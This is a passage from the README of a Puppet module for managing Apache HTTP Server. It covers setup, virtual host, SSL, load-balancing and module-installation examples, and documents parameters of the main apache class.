https://httpd.apache.org/docs/current/mod/mpm_common.html#minsparethreads +[`mod_alias`]: https://httpd.apache.org/docs/current/mod/mod_alias.html +[`mod_auth_cas`]: https://github.com/Jasig/mod_auth_cas +[`mod_auth_kerb`]: http://modauthkerb.sourceforge.net/configure.html +[`mod_authnz_external`]: https://github.com/phokz/mod-auth-external +[`mod_auth_dbd`]: http://httpd.apache.org/docs/current/mod/mod_authn_dbd.html +[`mod_auth_mellon`]: https://github.com/UNINETT/mod_auth_mellon +[`mod_dbd`]: http://httpd.apache.org/docs/current/mod/mod_dbd.html +[`mod_disk_cache`]: https://httpd.apache.org/docs/2.2/mod/mod_disk_cache.html +[`mod_dumpio`]: https://httpd.apache.org/docs/2.4/mod/mod_dumpio.html +[`mod_env`]: http://httpd.apache.org/docs/current/mod/mod_env.html +[`mod_expires`]: https://httpd.apache.org/docs/current/mod/mod_expires.html +[`mod_ext_filter`]: https://httpd.apache.org/docs/current/mod/mod_ext_filter.html +[`mod_fcgid`]: https://httpd.apache.org/mod_fcgid/mod/mod_fcgid.html +[`mod_geoip`]: http://dev.maxmind.com/geoip/legacy/mod_geoip2/ +[`mod_info`]: https://httpd.apache.org/docs/current/mod/mod_info.html +[`mod_ldap`]: https://httpd.apache.org/docs/2.2/mod/mod_ldap.html +[`mod_mpm_event`]: https://httpd.apache.org/docs/current/mod/event.html +[`mod_negotiation`]: https://httpd.apache.org/docs/current/mod/mod_negotiation.html +[`mod_pagespeed`]: https://developers.google.com/speed/pagespeed/module/?hl=en +[`mod_passenger`]: https://www.phusionpassenger.com/library/config/apache/reference/ +[`mod_php`]: http://php.net/manual/en/book.apache.php +[`mod_proxy`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html +[`mod_proxy_balancer`]: https://httpd.apache.org/docs/current/mod/mod_proxy_balancer.html +[`mod_reqtimeout`]: https://httpd.apache.org/docs/current/mod/mod_reqtimeout.html +[`mod_rewrite`]: https://httpd.apache.org/docs/current/mod/mod_rewrite.html +[`mod_security`]: https://www.modsecurity.org/ +[`mod_ssl`]: https://httpd.apache.org/docs/current/mod/mod_ssl.html +[`mod_status`]: https://httpd.apache.org/docs/current/mod/mod_status.html +[`mod_version`]: https://httpd.apache.org/docs/current/mod/mod_version.html +[`mod_wsgi`]: https://modwsgi.readthedocs.org/en/latest/ +[module contribution guide]: https://docs.puppet.com/forge/contributing.html +[`mpm_module`]: #mpm_module +[multi-processing module]: https://httpd.apache.org/docs/current/mpm.html + +[name-based virtual hosts]: https://httpd.apache.org/docs/current/vhosts/name-based.html +[`no_proxy_uris`]: #no_proxy_uris + +[open source Puppet]: https://docs.puppet.com/puppet/ +[`Options`]: https://httpd.apache.org/docs/current/mod/core.html#options + +[`path`]: #path +[`Peruser`]: https://www.freebsd.org/cgi/url.cgi?ports/www/apache22-peruser-mpm/pkg-descr +[`port`]: #port +[`priority`]: #defined-types-apachevhost +[`proxy_dest`]: #proxy_dest +[`proxy_dest_match`]: #proxy_dest_match +[`proxy_pass`]: #proxy_pass +[`ProxyPass`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypass +[`ProxySet`]: https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset +[Puppet Enterprise]: https://docs.puppet.com/pe/ +[Puppet Forge]: https://forge.puppet.com +[Puppet]: https://puppet.com +[Puppet module]: https://docs.puppet.com/puppet/latest/reference/modules_fundamentals.html +[Puppet module's code]: https://github.com/puppetlabs/puppetlabs-apache/blob/master/manifests/default_mods.pp +[`purge_configs`]: #purge_configs +[`purge_vhost_dir`]: #purge_vhost_dir +[Python]: https://www.python.org/ + +[Rack]: http://rack.github.io/ +[`rack_base_uris`]: #rack_base_uris +[RFC 2616]: https://www.ietf.org/rfc/rfc2616.txt +[`RequestReadTimeout`]: https://httpd.apache.org/docs/current/mod/mod_reqtimeout.html#requestreadtimeout +[rspec-puppet]: http://rspec-puppet.com/ + +[`ScriptAlias`]: https://httpd.apache.org/docs/current/mod/mod_alias.html#scriptalias +[`ScriptAliasMatch`]: https://httpd.apache.org/docs/current/mod/mod_alias.html#scriptaliasmatch +[`scriptalias`]: #scriptalias +[SELinux]: http://selinuxproject.org/ +[`ServerAdmin`]: https://httpd.apache.org/docs/current/mod/core.html#serveradmin +[`serveraliases`]: #serveraliases +[`ServerLimit`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#serverlimit +[`ServerName`]: https://httpd.apache.org/docs/current/mod/core.html#servername +[`ServerRoot`]: https://httpd.apache.org/docs/current/mod/core.html#serverroot +[`ServerTokens`]: https://httpd.apache.org/docs/current/mod/core.html#servertokens +[`ServerSignature`]: https://httpd.apache.org/docs/current/mod/core.html#serversignature +[Service attribute restart]: http://docs.puppet.com/latest/type.html#service-attribute-restart +[`source`]: #source +[`SSLCARevocationCheck`]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcarevocationcheck +[SSL certificate key file]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcertificatekeyfile +[SSL chain]: https://httpd.apache.org/docs/current/mod/mod_ssl.html#sslcertificatechainfile +[SSL encryption]: https://httpd.apache.org/docs/current/ssl/index.html +[`ssl`]: #ssl +[`ssl_cert`]: #ssl_cert +[`ssl_compression`]: #ssl_compression +[`ssl_key`]: #ssl_key +[`StartServers`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#startservers +[suPHP]: http://www.suphp.org/Home.html +[`suphp_addhandler`]: #suphp_addhandler +[`suphp_configpath`]: #suphp_configpath +[`suphp_engine`]: #suphp_engine +[supported operating system]: https://forge.puppet.com/supported#puppet-supported-modules-compatibility-matrix + +[`ThreadLimit`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#threadlimit +[`ThreadsPerChild`]: https://httpd.apache.org/docs/current/mod/mpm_common.html#threadsperchild +[`TimeOut`]: https://httpd.apache.org/docs/current/mod/core.html#timeout +[template]: http://docs.puppet.com/puppet/latest/reference/lang_template.html +[`TraceEnable`]: https://httpd.apache.org/docs/current/mod/core.html#traceenable + +[`verify_config`]: #verify_config +[`vhost`]: #defined-type-apachevhost +[`vhost_dir`]: #vhost_dir +[`virtual_docroot`]: #virtual_docroot + +[Web Server Gateway Interface]: https://www.python.org/dev/peps/pep-3333/#abstract +[`WSGIRestrictEmbedded`]: http://modwsgi.readthedocs.io/en/develop/configuration-directives/WSGIRestrictEmbedded.html +[`WSGIPythonPath`]: http://modwsgi.readthedocs.org/en/develop/configuration-directives/WSGIPythonPath.html +[`WSGIPythonHome`]: http://modwsgi.readthedocs.org/en/develop/configuration-directives/WSGIPythonHome.html + +#### Table of Contents + +1. [Module description - What is the apache module, and what does it do?][Module description] +2. [Setup - The basics of getting started with apache][Setup] + - [What the apache module affects][apache affects] + - [Beginning with Apache - Installation][Beginning with Apache] +3. [Usage - The classes and defined types available for configuration][Usage] + - [Configuring virtual hosts - Examples to help get started][Configuring virtual hosts] + - [Configuring FastCGI servers to handle PHP files][Configuring FastCGI servers] + - [Load balancing with exported and non-exported resources][Load balancing examples] +4. [Reference - An under-the-hood peek at what the module is doing and how][Reference] + - [Public classes][] + - [Private classes][] + - [Public defined types][] + - [Private defined types][] + - [Templates][] +5. [Limitations - OS compatibility, etc.][Limitations] +6. [Development - Guide for contributing to the module][Development] + - [Contributing to the apache module][Contributing] + - [Running tests - A quick guide][Running tests] + +## Module description + +[Apache HTTP Server][] (also called Apache HTTPD, or simply Apache) is a widely used web server. This [Puppet module][] simplifies the task of creating configurations to manage Apache servers in your infrastructure. It can configure and manage a range of virtual host setups and provides a streamlined way to install and configure [Apache modules][]. + +## Setup + +### What the apache module affects: + +- Configuration files and directories (created and written to) + - **WARNING**: Configurations *not* managed by Puppet will be purged. +- Package/service/configuration files for Apache +- Apache modules +- Virtual hosts +- Listened-to ports +- `/etc/make.conf` on FreeBSD and Gentoo + +On Gentoo, this module depends on the [`gentoo/puppet-portage`][] Puppet module. Note that while several options apply or enable certain features and settings for Gentoo, it is not a [supported operating system][] for this module. + +> **Warning**: This module modifies Apache configuration files and directories and purges any configuration not managed by Puppet. Apache configuration should be managed by Puppet, as unmanaged configuration files can cause unexpected failures. +> +>To temporarily disable full Puppet management, set the [`purge_configs`][] parameter in the [`apache`][] class declaration to false. We recommend this only as a temporary means of saving and relocating customized configurations. + +### Beginning with Apache + +To have Puppet install Apache with the default parameters, declare the [`apache`][] class: + +``` puppet +class { 'apache': } +``` + +When you declare this class with the default options, the module: + +- Installs the appropriate Apache software package and [required Apache modules](#default_mods) for your operating system. +- Places the required configuration files in a directory, with the [default location](#conf_dir) Depends on operating system. +- Configures the server with a default virtual host and standard port ('80') and address ('\*') bindings. +- Creates a document root directory Depends on operating system, typically `/var/www`. +- Starts the Apache service. + +Apache defaults depend on your operating system. These defaults work in testing environments but are not suggested for production. We recommend customizing the class's parameters to suit your site. + +For instance, this declaration installs Apache without the apache module's [default virtual host configuration][Configuring virtual hosts], allowing you to customize all Apache virtual hosts: + +``` puppet +class { 'apache': + default_vhost => false, +} +``` + +> **Note**: When `default_vhost` is set to `false`, you have to add at least one `apache::vhost` resource or Apache will not start. To establish a default virtual host, either set the `default_vhost` in the `apache` class or use the [`apache::vhost`][] defined type. You can also configure additional specific virtual hosts with the [`apache::vhost`][] defined type. + +## Usage + +### Configuring virtual hosts + +The default [`apache`][] class sets up a virtual host on port 80, listening on all interfaces and serving the [`docroot`][] parameter's default directory of `/var/www`. + + +To configure basic [name-based virtual hosts][], specify the [`port`][] and [`docroot`][] parameters in the [`apache::vhost`][] defined type: + +``` puppet +apache::vhost { 'vhost.example.com': + port => '80', + docroot => '/var/www/vhost', +} +``` + +See the [`apache::vhost`][] defined type's reference for a list of all virtual host parameters. + +> **Note**: Apache processes virtual hosts in alphabetical order, and server administrators can prioritize Apache's virtual host processing by prefixing a virtual host's configuration file name with a number. The [`apache::vhost`][] defined type applies a default [`priority`][] of 15, which Puppet interprets by prefixing the virtual host's file name with `15-`. This all means that if multiple sites have the same priority, or if you disable priority numbers by setting the `priority` parameter's value to false, Apache still processes virtual hosts in alphabetical order. + +To configure user and group ownership for `docroot`, use the [`docroot_owner`][] and [`docroot_group`][] parameters: + +``` puppet +apache::vhost { 'user.example.com': + port => '80', + docroot => '/var/www/user', + docroot_owner => 'www-data', + docroot_group => 'www-data', +} +``` + +#### Configuring virtual hosts with SSL + +To configure a virtual host to use [SSL encryption][] and default SSL certificates, set the [`ssl`][] parameter. You must also specify the [`port`][] parameter, typically with a value of '443', to accommodate HTTPS requests: + +``` puppet +apache::vhost { 'ssl.example.com': + port => '443', + docroot => '/var/www/ssl', + ssl => true, +} +``` + +To configure a virtual host to use SSL and specific SSL certificates, use the paths to the certificate and key in the [`ssl_cert`][] and [`ssl_key`][] parameters, respectively: + +``` puppet +apache::vhost { 'cert.example.com': + port => '443', + docroot => '/var/www/cert', + ssl => true, + ssl_cert => '/etc/ssl/fourth.example.com.cert', + ssl_key => '/etc/ssl/fourth.example.com.key', +} +``` + +To configure a mix of SSL and unencrypted virtual hosts at the same domain, declare them with separate [`apache::vhost`][] defined types: + +``` puppet +# The non-ssl virtual host +apache::vhost { 'mix.example.com non-ssl': + servername => 'mix.example.com', + port => '80', + docroot => '/var/www/mix', +} + +# The SSL virtual host at the same domain +apache::vhost { 'mix.example.com ssl': + servername => 'mix.example.com', + port => '443', + docroot => '/var/www/mix', + ssl => true, +} +``` + +To configure a virtual host to redirect unencrypted connections to SSL, declare them with separate [`apache::vhost`][] defined types and redirect unencrypted requests to the virtual host with SSL enabled: + +``` puppet +apache::vhost { 'redirect.example.com non-ssl': + servername => 'redirect.example.com', + port => '80', + docroot => '/var/www/redirect', + redirect_status => 'permanent', + redirect_dest => 'https://redirect.example.com/' +} + +apache::vhost { 'redirect.example.com ssl': + servername => 'redirect.example.com', + port => '443', + docroot => '/var/www/redirect', + ssl => true, +} +``` + +#### Configuring virtual host port and address bindings + +Virtual hosts listen on all IP addresses ('\*') by default. To configure the virtual host to listen on a specific IP address, use the [`ip`][] parameter: + +``` puppet +apache::vhost { 'ip.example.com': + ip => '127.0.0.1', + port => '80', + docroot => '/var/www/ip', +} +``` + +You can also configure more than one IP address per virtual host by using an array of IP addresses for the [`ip`][] parameter: + +``` puppet +apache::vhost { 'ip.example.com': + ip => ['127.0.0.1','169.254.1.1'], + port => '80', + docroot => '/var/www/ip', +} +``` + +You can configure multiple ports per virtual host by using an array of ports for the [`port`][] parameter: + +``` puppet +apache::vhost { 'ip.example.com': + ip => ['127.0.0.1'], + port => ['80','8080'] + docroot => '/var/www/ip', +} +``` + +To configure a virtual host with [aliased servers][], refer to the aliases using the [`serveraliases`][] parameter: + +``` puppet +apache::vhost { 'aliases.example.com': + serveraliases => [ + 'aliases.example.org', + 'aliases.example.net', + ], + port => '80', + docroot => '/var/www/aliases', +} +``` + +To set up a virtual host with a wildcard alias for the subdomain mapped to a directory of the same name, such as 'http://example.com.loc' mapped to `/var/www/example.com`, define the wildcard alias using the [`serveraliases`][] parameter and the document root with the [`virtual_docroot`][] parameter: + +``` puppet +apache::vhost { 'subdomain.loc': + vhost_name => '*', + port => '80', + virtual_docroot => '/var/www/%-2+', + docroot => '/var/www', + serveraliases => ['*.loc',], +} +``` + +To configure a virtual host with [filter rules][], pass the filter directives as an [array][] using the [`filters`][] parameter: + +``` puppet +apache::vhost { 'subdomain.loc': + port => '80', + filters => [ + 'FilterDeclare COMPRESS', + 'FilterProvider COMPRESS DEFLATE resp=Content-Type $text/html', + 'FilterChain COMPRESS', + 'FilterProtocol COMPRESS DEFLATE change=yes;byteranges=no', + ], + docroot => '/var/www/html', +} +``` + +#### Configuring virtual hosts for apps and processors + +To set up a virtual host with [suPHP][], use the following parameters: + +* [`suphp_engine`][], to enable the suPHP engine. +* [`suphp_addhandler`][], to define a MIME type. +* [`suphp_configpath`][], to set which path suPHP passes to the PHP interpreter. +* [`directory`][], to configure Directory, File, and Location directive blocks. + +For example: + +``` puppet +apache::vhost { 'suphp.example.com': + port => '80', + docroot => '/home/appuser/myphpapp', + suphp_addhandler => 'x-httpd-php', + suphp_engine => 'on', + suphp_configpath => '/etc/php5/apache2', + directories => [ + { 'path' => '/home/appuser/myphpapp', + 'suphp' => { + user => 'myappuser', + group => 'myappgroup', + }, + }, + ], +} +``` + +To configure a virtual host to use the [Web Server Gateway Interface][] (WSGI) for [Python][] applications, use the `wsgi` set of parameters: + +``` puppet +apache::vhost { 'wsgi.example.com': + port => '80', + docroot => '/var/www/pythonapp', + wsgi_application_group => '%{GLOBAL}', + wsgi_daemon_process => 'wsgi', + wsgi_daemon_process_options => { + processes => '2', + threads => '15', + display-name => '%{GROUP}', + }, + wsgi_import_script => '/var/www/demo.wsgi', + wsgi_import_script_options => { + process-group => 'wsgi', + application-group => '%{GLOBAL}', + }, + wsgi_process_group => 'wsgi', + wsgi_script_aliases => { '/' => '/var/www/demo.wsgi' }, +} +``` + +As of Apache 2.2.16, Apache supports [FallbackResource][], a simple replacement for common RewriteRules. You can set a FallbackResource using the [`fallbackresource`][] parameter: + +``` puppet +apache::vhost { 'wordpress.example.com': + port => '80', + docroot => '/var/www/wordpress', + fallbackresource => '/index.php', +} +``` + +> **Note**: The `fallbackresource` parameter only supports the 'disabled' value since Apache 2.2.24. + +To configure a virtual host with a designated directory for [Common Gateway Interface][] (CGI) files, use the [`scriptalias`][] parameter to define the `cgi-bin` path: + +``` puppet +apache::vhost { 'cgi.example.com': + port => '80', + docroot => '/var/www/cgi', + scriptalias => '/usr/lib/cgi-bin', +} +``` + +To configure a virtual host for [Rack][], use the [`rack_base_uris`][] parameter: + +``` puppet +apache::vhost { 'rack.example.com': + port => '80', + docroot => '/var/www/rack', + rack_base_uris => ['/rackapp1', '/rackapp2'], +} +``` + +#### Configuring IP-based virtual hosts + +You can configure [IP-based virtual hosts][] to listen on any port and have them respond to requests on specific IP addresses. In this example, the server listens on ports 80 and 81, because the example virtual hosts are _not_ declared with a [`port`][] parameter: + +``` puppet +apache::listen { '80': } + +apache::listen { '81': } +``` + +Configure the IP-based virtual hosts with the [`ip_based`][] parameter: + +``` puppet +apache::vhost { 'first.example.com': + ip => '10.0.0.10', + docroot => '/var/www/first', + ip_based => true, +} + +apache::vhost { 'second.example.com': + ip => '10.0.0.11', + docroot => '/var/www/second', + ip_based => true, +} +``` + +You can also configure a mix of IP- and [name-based virtual hosts][] in any combination of [SSL][SSL encryption] and unencrypted configurations. + +In this example, we add two IP-based virtual hosts on an IP address (in this example, 10.0.0.10). One uses SSL and the other is unencrypted: + +``` puppet +apache::vhost { 'The first IP-based virtual host, non-ssl': + servername => 'first.example.com', + ip => '10.0.0.10', + port => '80', + ip_based => true, + docroot => '/var/www/first', +} + +apache::vhost { 'The first IP-based vhost, ssl': + servername => 'first.example.com', + ip => '10.0.0.10', + port => '443', + ip_based => true, + docroot => '/var/www/first-ssl', + ssl => true, +} +``` + +Next, we add two name-based virtual hosts listening on a second IP address (10.0.0.20): + +``` puppet +apache::vhost { 'second.example.com': + ip => '10.0.0.20', + port => '80', + docroot => '/var/www/second', +} + +apache::vhost { 'third.example.com': + ip => '10.0.0.20', + port => '80', + docroot => '/var/www/third', +} +``` + +To add name-based virtual hosts that answer on either 10.0.0.10 or 10.0.0.20, you **must** disable the Apache default `Listen 80`, as it conflicts with the preceding IP-based virtual hosts. To do this, set the [`add_listen`][] parameter to `false`: + +``` puppet +apache::vhost { 'fourth.example.com': + port => '80', + docroot => '/var/www/fourth', + add_listen => false, +} + +apache::vhost { 'fifth.example.com': + port => '80', + docroot => '/var/www/fifth', + add_listen => false, +} +``` + +### Installing Apache modules + +There are two ways to install [Apache modules][] using the Puppet apache module: + +- Use the [`apache::mod::`][] classes to [install specific Apache modules with parameters][Installing specific modules]. +- Use the [`apache::mod`][] defined type to [install arbitrary Apache modules][Installing arbitrary modules]. + +#### Installing specific modules + +The Puppet apache module supports installing many common [Apache modules][], often with parameterized configuration options. For a list of supported Apache modules, see the [`apache::mod::`][] class references. + +For example, you can install the `mod_ssl` Apache module with default settings by declaring the [`apache::mod::ssl`][] class: + +``` puppet +class { 'apache::mod::ssl': } +``` + +[`apache::mod::ssl`][] has several parameterized options that you can set when declaring it. For instance, to enable `mod_ssl` with compression enabled, set the [`ssl_compression`][] parameter to true: + +``` puppet +class { 'apache::mod::ssl': + ssl_compression => true, +} +``` + +Note that some modules have prerequisites, which are documented in their references under [`apache::mod::`][]. + +#### Installing arbitrary modules + +You can pass the name of any module that your operating system's package manager can install to the [`apache::mod`][] defined type to install it. Unlike the specific-module classes, the [`apache::mod`][] defined type doesn't tailor the installation based on other installed modules or with specific parameters---Puppet only grabs and installs the module's package, leaving detailed configuration up to you. + +For example, to install the [`mod_authnz_external`][] Apache module, declare the defined type with the 'mod_authnz_external' name: + +``` puppet +apache::mod { 'mod_authnz_external': } +``` + +There are several optional parameters you can specify when defining Apache modules this way. See the [defined type's reference][`apache::mod`] for details. + +### Configuring FastCGI servers to handle PHP files + +Add the [`apache::fastcgi::server`][] defined type to allow [FastCGI][] servers to handle requests for specific files. For example, the following defines a FastCGI server at 127.0.0.1 (localhost) on port 9000 to handle PHP requests: + +``` puppet +apache::fastcgi::server { 'php': + host => '127.0.0.1:9000', + timeout => 15, + flush => false, + faux_path => '/var/www/php.fcgi', + fcgi_alias => '/php.fcgi', + file_type => 'application/x-httpd-php' +} +``` + +You can then use the [`custom_fragment`][] parameter to configure the virtual host to have the FastCGI server handle the specified file type: + +``` puppet +apache::vhost { 'www': + ... + custom_fragment => 'AddType application/x-httpd-php .php' + ... +} +``` + +### Load balancing examples + +Apache supports load balancing across groups of servers through the [`mod_proxy`][] Apache module. Puppet supports configuring Apache load balancing groups (also known as balancer clusters) through the [`apache::balancer`][] and [`apache::balancermember`][] defined types. + +To enable load balancing with [exported resources][], export the [`apache::balancermember`][] defined type from the load balancer member server: + +``` puppet +@@apache::balancermember { "${::fqdn}-puppet00": + balancer_cluster => 'puppet00', + url => "ajp://${::fqdn}:8009", + options => ['ping=5', 'disablereuse=on', 'retry=5', 'ttl=120'], +} +``` + +Then, on the proxy server, create the load balancing group: + +``` puppet +apache::balancer { 'puppet00': } +``` + +To enable load balancing without exporting resources, declare the following on the proxy server: + +``` puppet +apache::balancer { 'puppet00': } + +apache::balancermember { "${::fqdn}-puppet00": + balancer_cluster => 'puppet00', + url => "ajp://${::fqdn}:8009", + options => ['ping=5', 'disablereuse=on', 'retry=5', 'ttl=120'], +} +``` + +Then declare the `apache::balancer` and `apache::balancermember` defined types on the proxy server. + +To use the [ProxySet](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyset) directive on the balancer, use the [`proxy_set`](#proxy_set) parameter of `apache::balancer`: + +``` puppet +apache::balancer { 'puppet01': + proxy_set => { + 'stickysession' => 'JSESSIONID', + 'lbmethod' => 'bytraffic', + }, +} +``` + +Load balancing scheduler algorithms (`lbmethod`) are listed [in mod_proxy_balancer documentation](https://httpd.apache.org/docs/current/mod/mod_proxy_balancer.html). + +## Reference + +- [**Public classes**](#public-classes) + - [Class: apache](#class-apache) + - [Class: apache::dev](#class-apachedev) + - [Class: apache::vhosts](#class-apachevhosts) + - [Classes: apache::mod::\*](#classes-apachemodname) +- [**Private classes**](#private-classes) + - [Class: apache::confd::no_accf](#class-apacheconfdno_accf) + - [Class: apache::default_confd_files](#class-apachedefault_confd_files) + - [Class: apache::default_mods](#class-apachedefault_mods) + - [Class: apache::package](#class-apachepackage) + - [Class: apache::params](#class-apacheparams) + - [Class: apache::service](#class-apacheservice) + - [Class: apache::version](#class-apacheversion) +- [**Public defined types**](#public-defined-types) + - [Defined type: apache::balancer](#defined-type-apachebalancer) + - [Defined type: apache::balancermember](#defined-type-apachebalancermember) + - [Defined type: apache::custom_config](#defined-type-apachecustom_config) + - [Defined type: apache::fastcgi::server](#defined-type-fastcgi-server) + - [Defined type: apache::listen](#defined-type-apachelisten) + - [Defined type: apache::mod](#defined-type-apachemod) + - [Defined type: apache::namevirtualhost](#defined-type-apachenamevirtualhost) + - [Defined type: apache::vhost](#defined-type-apachevhost) + - [Defined type: apache::vhost::custom](#defined-type-apachevhostcustom) +- [**Private defined types**](#private-defined-types) + - [Defined type: apache::default_mods::load](#defined-type-default_mods-load) + - [Defined type: apache::peruser::multiplexer](#defined-type-apacheperusermultiplexer) + - [Defined type: apache::peruser::processor](#defined-type-apacheperuserprocessor) + - [Defined type: apache::security::file_link](#defined-type-apachesecurityfile_link) +- [**Templates**](#templates) + +### Public Classes + +#### Class: `apache` + +Guides the basic setup and installation of Apache on your system. + +When this class is declared with the default options, Puppet: + +- Installs the appropriate Apache software package and [required Apache modules](#default_mods) for your operating system. +- Places the required configuration files in a directory, with the [default location](#conf_dir) determined by your operating system. +- Configures the server with a default virtual host and standard port ('80') and address ('\*') bindings. +- Creates a document root directory determined by your operating system, typically `/var/www`. +- Starts the Apache service. + +You can simply declare the default `apache` class: + +``` puppet +class { 'apache': } +``` + +##### `allow_encoded_slashes` + +Sets the server default for the [`AllowEncodedSlashes`][] declaration, which modifies the responses to URLs containing '\' and '/' characters. If not specified, this parameter omits the declaration from the server's configuration and uses Apache's default setting of 'off'. + +Values: 'on', 'off', 'nodecode'. + +Default: `undef`. + +##### `apache_version` + +Configures module template behavior, package names, and default Apache modules by defining the version of Apache to use. We do not recommend manually configuring this parameter without reason. + +Default: Depends on operating system and release version detected by the [`apache::version`][] class. + +##### `conf_dir` + +Sets the directory where the Apache server's main configuration file is located. + +Default: Depends on operating system. + +- **Debian**: `/etc/apache2` +- **FreeBSD**: `/usr/local/etc/apache22` +- **Gentoo**: `/etc/apache2` +- **Red Hat**: `/etc/httpd/conf` + +##### `conf_template` + +Defines the [template][] used for the main Apache configuration file. Modifying this parameter is potentially risky, as the apache module is designed to use a minimal configuration file customized by `conf.d` entries. + +Default: `apache/httpd.conf.erb`. + +##### `confd_dir` + +Sets the location of the Apache server's custom configuration directory. + +Default: Depends on operating system. + +- **Debian**: `/etc/apache2/conf.d` +- **FreeBSD**: `/usr/local/etc/apache22` +- **Gentoo**: `/etc/apache2/conf.d` +- **Red Hat**: `/etc/httpd/conf.d` + +##### `default_charset` + +Used as the [`AddDefaultCharset`][] directive in the main configuration file. + +Default: `undef`. + +##### `default_confd_files` + +Determines whether Puppet generates a default set of includable Apache configuration files in the directory defined by the [`confd_dir`][] parameter. These configuration files correspond to what is typically installed with the Apache package on the server's operating system. + +Boolean. Default: `true`. + +##### `default_mods` + +Determines whether to configure and enable a set of default [Apache modules][] depending on your operating system. + +If `false`, Puppet includes only the Apache modules required to make the HTTP daemon work on your operating system, and you can declare any other modules separately using the [`apache::mod::`][] class or [`apache::mod`][] defined type. + +If `true`, Puppet installs additional modules, depending on the operating system and the values of [`apache_version`][] and [`mpm_module`][] parameters. Because these lists of modules can change frequently, consult the [Puppet module's code][] for up-to-date lists. + +If this parameter contains an array, Puppet instead enables all passed Apache modules. + +Values: Boolean or an array of Apache module names. + +Default: `true`. + +##### `default_ssl_ca` + +Sets the default certificate authority for the Apache server. + +Although the default value results in a functioning Apache server, you **must** update this parameter with your certificate authority information before deploying this server in a production environment. + +Boolean. Default: `undef`. + +##### `default_ssl_cert` + +Sets the [SSL encryption][] certificate location. + +Although the default value results in a functioning Apache server, you **must** update this parameter with your certificate location before deploying this server in a production environment. + +Default: Depends on operating system. + +- **Debian**: `/etc/ssl/certs/ssl-cert-snakeoil.pem` +- **FreeBSD**: `/usr/local/etc/apache22/server.crt` +- **Gentoo**: `/etc/ssl/apache2/server.crt` +- **Red Hat**: `/etc/pki/tls/certs/localhost.crt` + +##### `default_ssl_chain` + +Sets the default [SSL chain][] location. + +Although this default value results in a functioning Apache server, you **must** update this parameter with your SSL chain before deploying this server in a production environment. + +Default: `undef`. + +##### `default_ssl_crl` + +Sets the path of the default [certificate revocation list][] (CRL) file to use. + +Although this default value results in a functioning Apache server, you **must** update this parameter with the CRL file path before deploying this server in a production environment. You can use this parameter with or in place of the [`default_ssl_crl_path`][]. + +Default: `undef`. + +##### `default_ssl_crl_path` + +Sets the server's [certificate revocation list path][], which contains your CRLs. + +Although this default value results in a functioning Apache server, you **must** update this parameter with the CRL file path before deploying this server in a production environment. + +Default: `undef`. + +##### `default_ssl_crl_check` + +Sets the default certificate revocation check level via the [`SSLCARevocationCheck`][] directive. This parameter applies only to Apache 2.4 or higher and is ignored on older versions. + +Although this default value results in a functioning Apache server, you **must** specify this parameter when using certificate revocation lists in a production environment. + +Default: `undef`. + +##### `default_ssl_key` + +Sets the [SSL certificate key file][] location. + +Although the default values result in a functioning Apache server, you **must** update this parameter with your SSL key's location before deploying this server in a production environment. + +Default: Depends on operating system. + +- **Debian**: `/etc/ssl/private/ssl-cert-snakeoil.key` +- **FreeBSD**: `/usr/local/etc/apache22/server.key` +- **Gentoo**: `/etc/ssl/apache2/server.key` +- **Red Hat**: `/etc/pki/tls/private/localhost.key` + + +##### `default_ssl_vhost` + +Configures a default [SSL][SSL encryption] virtual host. + +If `true`, Puppet automatically configures the following virtual host using the [`apache::vhost`][] defined type: + +```puppet +apache::vhost { 'default-ssl': + port => 443, + ssl => true, + docroot => $docroot, + scriptalias => $scriptalias, + serveradmin => $serveradmin, + access_log_file => "ssl_${access_log_file}", + } +``` + +> **Note**: SSL virtual hosts only respond to HTTPS queries. + + +Boolean. Default: `false`. + +##### `default_type` + +_Apache 2.2 only_. Sets the [MIME `content-type`][] sent if the server cannot otherwise determine an appropriate `content-type`. This directive is deprecated in Apache 2.4 and newer, and is only for backwards compatibility in configuration files. + +Default: `undef`. + +##### `default_vhost` + +Configures a default virtual host when the class is declared. + +To configure [customized virtual hosts][Configuring virtual hosts], set this parameter's value to `false`. + +> **Note**: Apache will not start without at least one virtual host. If you set this to `false` you must configure a virtual host elsewhere. + +Boolean. Default: `true`. + +##### `dev_packages` + +Configures a specific dev package to use. + +Values: A string or array of strings. + +Example for using httpd 2.4 from the IUS yum repo: + +``` puppet +include ::apache::dev +class { 'apache': + apache_name => 'httpd24u', + dev_packages => 'httpd24u-devel', +} +``` + +Default: Depends on operating system. + +- **Red Hat:** 'httpd-devel' +- **Debian 8/Ubuntu 13.10 or newer:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-dev'] +- **Older Debian/Ubuntu versions:** ['libaprutil1-dev', 'libapr1-dev', 'apache2-prefork-dev'] +- **FreeBSD, Gentoo:** `undef` +- **Suse:** ['libapr-util1-devel', 'libapr1-devel'] + +##### `docroot` + +Sets the default [`DocumentRoot`][] location. + +Default: Depends on operating system. + +- **Debian**: `/var/www/html` +- **FreeBSD**: `/usr/local/www/apache22/data` +- **Gentoo**: `/var/www/localhost/htdocs` +- **Red Hat**: `/var/www/html` + +##### `error_documents` + +Determines whether to enable [custom error documents][] on the Apache server. + +Boolean. Default: `false`. + +##### `group` + +Sets the group ID that owns any Apache processes spawned to answer requests. + +By default, Puppet attempts to manage this group as a resource under the `apache` class, determining the group based on the operating system as detected by the [`apache::params`][] class. To to prevent the group resource from being created and use a group created by another Puppet module, set the [`manage_group`][] parameter's value to `false`. + +> **Note**: Modifying this parameter only changes the group ID that Apache uses to spawn child processes to access resources. It does not change the user that owns the parent server process. + +##### `httpd_dir` + +Sets the Apache server's base configuration directory. This is useful for specially repackaged Apache server builds but might have unintended consequences when combined with the default distribution packages. + +Default: Depends on operating system. + +- **Debian**: `/etc/apache2` +- **FreeBSD**: `/usr/local/etc/apache22` +- **Gentoo**: `/etc/apache2` +- **Red Hat**: `/etc/httpd` + +##### http_protocol_options` + +Specifies the strictness of HTTP protocol checks. Valid options: any sequence of the following alternative values: `Strict` or `Unsafe`, `RegisteredMethods` or `LenientMethods`, and `Allow0.9` or `Require1.0`. Default '`Strict LenientMethods Allow0.9`'. + +##### 